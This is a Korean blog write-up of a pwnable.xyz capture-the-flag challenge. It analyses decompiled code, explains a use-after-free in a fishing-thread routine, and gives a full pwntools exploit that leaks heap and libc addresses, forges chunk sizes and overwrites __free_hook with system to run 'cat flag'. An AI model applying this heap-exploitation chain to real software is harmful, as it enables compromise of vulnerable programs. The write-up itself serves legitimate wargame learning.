1. 문제
1) mitigation 확인
RELRO만 partial이다
2) 문제 확인
뭐.. 이런식이다. 1번으로 그룹생성, 2번으로 수정, 3번으로 게스트 북에 한마디 남길수 있다. 그리고 4번으로 낚시를 하고, 5번으로 ... 뭐 이렇다.
3) 코드 확인
일단 다음과 같은 구조체를 만들어 주었다.
struct group
{
char *name;
char *job;
int age;
};
- setup() 함수
group *setup() { group *result; // rax __int64 v1; // rdx setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); alarm(0x3Cu); if ( pthread_mutex_init(&mutex, 0LL) ) err("Fatal"); if ( pthread_cond_init(&cond, 0LL) ) err("Fatal"); result = (group *)malloc(0x20uLL); result->age = 0x2D; result->name = "James Cook"; result->job = "Captian"; v1 = group_size[0]; ++group_size[0]; group[v1] = result; return result; }
초기에 세팅관련 함수이다. 이번 문제는 쓰레드를 이용하는 것으로 보인다. 초기에 0x20 만큼 힙영역을 할당 받는다. 나이, 이름, 직업을 세팅한다. 초기에 그룹 사이즈는 1로 세팅된다.
- add_group_member() 함수
int add_group_member() { group *member; // rbx int age; // eax __int64 size; // rcx int result; // eax if ( group_size[0] > 5 ) return puts("You would sink the boat with that many people"); member = (group *)malloc(0x20uLL); member->name = (char *)malloc(0x18uLL); __printf_chk(1LL, "Name: "); read_string(member->name, 0x18); member->job = (char *)malloc(0x18uLL); __printf_chk(1LL, "Job: "); read_string(member->job, 0x18); __printf_chk(1LL, "Age: "); age = read_int(); size = group_size[0]; member->age = age; group[size] = member; result = size + 1; group_size[0] = size + 1; return result; }
add_group_member 함수는 간단하다. 그룹사이즈가 6을 넘어가지 않는 선에서 해당 함수는 호출가능하다. 그리고 고정 크기로 group 구조체를 힙 영역에 할당받고, 나이, 이름, 직업 또한 고정 사이즈로 할당을 받는다.
- go_fishing() 함수
unsigned __int64 go_fishing() { __int64 v1; // [rsp+0h] [rbp-18h] unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); if ( fishing ) { puts("You're group is already fishing, wait until they come back"); } else if ( group_size[0] <= 1 ) { puts("You need 2 or more people to fish"); } else { fishing = 1; pthread_create((pthread_t *)&v1, 0LL, gone_fishing, 0LL); puts("You're group has now left to catch some fish"); } return __readfsqword(0x28u) ^ v2; }
함수이름으로 유추해봤을때 낚시를 하러가는 내용이다. 나도 낚시를 좋아한다.
낚시는 한번에 한 그룹만 가능하다. fishing이 0이여야지만 쓰레드가 생성되면서, gone_fishing 함수가 호출된다.
- gone_fishing() 함수
void *__fastcall gone_fishing(void *a1) { int v1; // ebx if ( pthread_mutex_lock(&mutex) ) err("Fatal locking"); v1 = group_size[0] - 1; puts("\n!!!!ALERT!!!"); __printf_chk(1LL, "%s has fallen over board\n"); puts("We are trying to save them"); remove_person(v1); if ( pthread_cond_wait(&cond, &mutex) ) err("Fatal"); puts("\nOk we are coming back. Btw they died..."); --group_size[0]; fishing = 0; if ( pthread_mutex_unlock(&mutex) ) err("Fatal unlocking"); return 0LL; }
쓰레드에 락을 걸고 그룹 이름을 출력한다. 그다음 remove_person 함수를 호출하여 그룹생성시 만들었던 청크들을 free 시킨다. 여기서 취약점이 터진다. 해당 로직은 가장 최근에 만든 그룹을 free시키지만, free된 영역을 초기화 하지 않아, UAF가 가능하다.
또한 레이스컨디션이라는 기법이 적용된다. remove_person 함수를 호출하고 pthread_wait를 하기 때문에 시그널이 발생됬을때, 그룹 사이즈가 감소된다. 즉 메인 메뉴에서 5번 stop_fishing을 호출해서 시그널을 발생시켜야지만 그룹 사이즈가 감소된다.
5번 메뉴를 호출하지 않으면, 그룹 사이즈는 줄어들지 않는다. 근데 난 이게 뭔소린지 모르겠다. 어짜피 5번을 호출하지 않으면 fishing은 1인데, 이게 왜 레이스컨디션이지...ㅋ
(사실 난 이렇게 푼것같지는 않..)
2. 접근방법
4번 go_fishing에서 name 영역에 담긴 내용이 출력이 되니 UAF를 이용해서 필요한 주소를 leak해야한다. 우선 heap 주소를 leak해보자.
leak을 할수 있는 방법은 4번 메뉴인 go_fishing함수가 호출될때 멤버 이름 영역에 heap 주소가 써져 있어야 한다. 즉, free된 청크가 fastbin에 들어가 있고, 이를 재할당받음으로써, fd 영역에 힙 주소가 들어있어야 한다.
- heap 주소 leak하기
- 1번 메뉴로 멤버를 할당받는다.
- 4번으로 free 시킨다
이름과 직업은 모두 0x20크기이므로 fastbin에 리스트로 연결된다. remove_person 함수에서 free되는 순서는 이름,직업,멤버 순이므로, 직업 청크의 fd에 이름 청크의 주소가 들어가 있다.
이상태에서 add_group_member를 호출하면, fastbin[0x20] 에 들어있는 청크를 이름 영역의 청크로 재할당 받을 수 있다.
- 1번으로 다시 add_member_group 함수 호출 후 go_fishing 함수 호출
위 사진에서 아래 빨간 줄 쳐진 부분이 재할당 받는 이름영역이다. 따라서 이때 go_fishing함수를 한번더 호출하면 저 값이 출력된다. (참고로 go_fishing을 호출하기 전에 5번으로 fishing 변수를 0으로 만들어야함)
이렇게 heap 주소는 쉽게 leak할 수 있다.
- 1번 메뉴로 멤버를 할당받는다.
- libc 주소 leak하기
libc 주소를 leak 하기 위한 타겟으로, 현재 청크 사이즈가 고정으로 설정되어있기 때문에, free가 되어도 fastbin에 들어간다. 따라서 청크 사이즈를 임의로 고쳐서 unsorted bin으로 들어가게끔 해줘야 한다.
메모리상태는 위에 heap leak을 한 뒤 이어서 진행된다. 현재 호출한 함수는
add('cat flag\x00','bb',22) -> group[1] add('cc','bb',22) -> group[2] add('dd','bb',22) -> group[3] add('ee','bb',22) -> group[4] book(p64(0)+p64(0x21)) -> 3번 메뉴 book('\x00') book(p64(0)*3+p8(0x41)) book('\x00') fishing() -> 4번 메뉴 -> group[3] come_back(5) -> 5번 메뉴 add('a','a','22') -> group[4] fishing() ---------> 위에까지 heap leak을 위한 로직 come_back(5)
- 3번메뉴 호출 (write_in_book()함수)
위 사진처럼 현재 group[4]가 go_fishing 함수로 인해 free된 상태이다. 따라서 group[4]의 청크 3개가 fastbin에 들어가 있다. 여기서 3번 메뉴를 호출하면 malloc(0x20)으로 인해 현재 fastbin에 들어있는 member 청크를 재할당 해준다.
요렇게 0x30 청크를 재할당 해준다.
현재 group[4] 영역의 member 청크주소를 3번 메뉴로 재할당 받았다. heap주소를 leak했기 때문에 bk에 0x..160 주소를 넣고, 2번 메뉴로 group[4]의 이름과 직업을 수정할 수 있다. 0x..160 청크는 group[3]의 직업 청크이다. 따라서 저 청크의 사이즈를 0xc1로 변경하여 unsorted bin에 들어가게 하면 된다.
여기서 유의해야할 점은 현재 group[4]의 member 청크를 재할당 받았기 때문에 2번 메뉴로 group[4]를 modify하려면 방금 재할당 받은 청크의 fd와 bk 필드에 올바른 청크주소를 넣어줘야한다. 그래서 write_in_book()으로 bk영역에 grou[3]→직업 청크주소를 넣었고, fd 영역에 group[3]→name 청크주소를 넣어줬다.
- 2번 메뉴로 group[3]→job 청크 사이즈 변경
이 상태에서 이제 go_fishing을 호출한다면, 현재 group[3]에 들어있는 청크들이 free된다.
- group[3] 청크들 free 시키기
group[3]에 들어있는 3개의 청크가 free되기 직전 fastbin 상황은 다음과 같다. 현재 group[4]의 name, job 청크가 0x20 크기의 fastbin에 들어가 있고, write_in_book() 함수가 호출되어서 0x30 크기의 fastbin은 재할당되어 없다.
이 상태에서 go_fishing()을 호출하면, group[3]이 free되면서, 첫번째로 grou[3]→name이 free되어 0x20 크기의 fastbin에 추가될것이다. 그리고 grou[3]→job은 현재 우리가 크기를 0xc0으로 변경시켰기 때문에 unsorted bin에 들어가고, 마지막 member 청크는 0x30 크기의 fastbin에 들어갈 것이다.
예상한대로 들어갔다. group[3]→job의 크기가 0xc0으로 변경되었기 때문에 0x..1b0 청크가 오버랩 됬다고 나온다. 거의 다했다. 이제 unsorted bin에 들어간 청크를 1번 메뉴를 통해 name 청크로 재할당 받으면 된다.
현재 오버랩된 청크가 있기때문에 골치아프다. 따라서 0x..140의 fd영역에 들어있는 0x..1b0 주소를 0으로 없앨것이다. (0으로 없애려고 아까 3번 write_in_book() 에뉴에서 group[4]→name 영역에 0x..150 주소를 넣은것이다)
- group[4]→name의 fd를 0으로 만들기
group[4]→name 영역을 0으로 수정을 하고 다시 heapinfo를 확인해보면
다음과 같이 오버랩된 부분이 없어졌다. 이제 add_group_member를 한번 호출하면, member 할당은 0x30 청크를 재할당 해줄것이고, name영역은 0x20에 들어있는 0x..140 청크를 재할당 해줄것이다. 그다음 job 청크는 unosrted bin → small bin 에서 잘라서 재할당 해줄 것이고, remainder 청크는 다시 unosrted bin에 들어갈 것이다.
- add_group_member() 호출
예상한대로 나온다. fastbin에 있는건 전부 재할당 해줬고, job 청크는 unosrted bin→small에서 split 해서 재할당 해주었다. 따라서 남은 0xa0크기의 청크가 다시 unsorted bin에 들어가있다.
이 상태에서 한번더 add_group_member를 호출하면, member, name, job 청크 모두 last_remainder 청크에서 split하여 재할당 해줄것이고, 재할당 받은 청크들은 모두 fd,bk 영역에 main_arena 범위의 주소가 들어가있을 것이다.
- add_group_member() 한번더 호출
요렇게 3개의 청크를 last_remainder 청크에서 split하여 재할당 받았기 때문에 name, job 청크들의 fd,bk 영역에 main_arena 범위의 청크가 들어가 있다. 이제 다시한번 go_fishing을 호출하면 해당 청크들이 free되는데, 그전에 name 영역에 들어있는 주소가 leak 된다.
- 3번메뉴 호출 (write_in_book()함수)
- leak한 주소를 이용하여 free_hook 덮기
위 과정이 끝나면 libc 주소가 leak되면서 다시 3개의 청크가 free되면서 bin에 들어간다.
3개의 청들은 group[4] 에 들어있는 주소그대로이다. 이제 다시한번 3번 메뉴를 이용하면 0x30 청크를 대할당 받게 되는데, 이는 member 청크의 주소이다. 따라서 member의 name영역(fd)에
free_hook
주소를 넣으면 된다.그리고 member의 job 영역에는, go_fishing() 함수로 인해 free될 청크의 주소부분을 넣으면 된다.
현재 3번 메뉴로 group[4]영역의 fd에 free_hook 주소를, bk에는 다음에 free되는 청크의 주소를 담았다. 이제 여기서 modify로 group[4]→name에 system 주소를 넣으면 free_hook에 system 주소가 들어갈 것이고, group[4]→job에
'cat flag'
가 담겨져 있는 주소를 넣으면된다.cat flag
는 초기 add_group_member를 할때 넣어줬다.이제 go_fishing을 호출하면 0x..110에 들어있는 청크를 free시키는데, 현재 name 청크에 들어있는
'cat flag'
를 가리키는 주소를 인자로 하여 free()가 호출될 것이고, 이때 free_hook에 담겨져있는 system함수가 실행된다.로컬로 플래그를 만들고 테스트를 해봤는데
잘 된다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level='DEBUG',arch='amd64',os="linux")
#p=remote("svc.pwnable.xyz",30045)
libc=ELF("./alpine-libc-2.24.so")
p=process("./challenge", env={"LD_PRELOAD" : './alpine-libc-2.24.so'})
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xD52+$code\n')
def add(name,job,age):
p.sendlineafter("> ",'1')
p.sendafter("Name: ",str(name))
p.sendafter("Job: ",str(job))
p.sendlineafter("Age: ",str(age))
def modify(index,name,job,age):
p.sendlineafter("> ",'2')
p.sendlineafter("change?\n",str(index))
p.sendafter("Name: ",str(name))
p.sendafter("Job: ",str(job))
p.sendlineafter("Age: ",str(age))
def book(say):
p.sendlineafter("> ",'3')
p.sendafter("to say?\n",str(say))
def fishing():
p.sendlineafter("> ",'4')
sleep(0.2)
def come_back(index):
p.sendlineafter('to save them\n',str(index))
#for heap leak
add('cat flag\x00','bb',22)
add('cc','bb',22)
add('dd','bb',22)
add('ee','bb',22)
book(p64(0)+p64(0x21))
book('\x00')
book(p64(0)*3+p8(0x41))
book('\x00')
fishing()
come_back(5)
add('a','a','22')
fishing()
p.recvuntil('ALERT!!!\n')
tmp=p.recvuntil(' has')
log.info(tmp)
heap_leak=u64((tmp[:-4]).ljust(8,'\x00'))
heap_leak= (((heap_leak >> 8 ) << 8) | 0x48)
heap_leak_fake=heap_leak - 0x98
log.info(hex(heap_leak))
pause()
come_back(5)
book(p64(heap_leak_fake+0xa0)+p64(heap_leak_fake+0xb0))
modify(4,p64(heap_leak_fake+0x90),p64(0)+p64(0xc1),'32')
fishing()
come_back(5)
modify(4,p64(0),p64(0)+p64(0xc1),'32')
add('a','a','22')
add('b','b','22')
fishing()
p.recvuntil('ALERT!!!\n')
tmp2=p.recvuntil(' has')
log.info(tmp2)
libc_leak=u64((tmp2[:-4]).ljust(8,'\x00'))
libc_base=libc_leak-0x393662
log.info("libc_base_addr::"+hex(libc_base))
come_back(3)
p.sendafter("to say?\n",str(p64(libc_base+libc.symbols['__free_hook'])+p64(heap_leak_fake+0x70)))
modify(4,p64(libc_base+libc.symbols['system']),p64(heap_leak_fake+0x70-0xb0),'22')
p.sendlineafter("> ",'5')
fishing()
p.interactive()
4. 몰랐던 개념
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] AdultVM (0) | 2020.06.15 |
---|---|
[pwnable.xyz] note v4 (0) | 2020.06.14 |
[pwnable.xyz] BabyVM (0) | 2020.06.03 |
[pwnable.xyz] Knum (0) | 2020.05.31 |
[pwnable.xyz] PvE (0) | 2020.05.27 |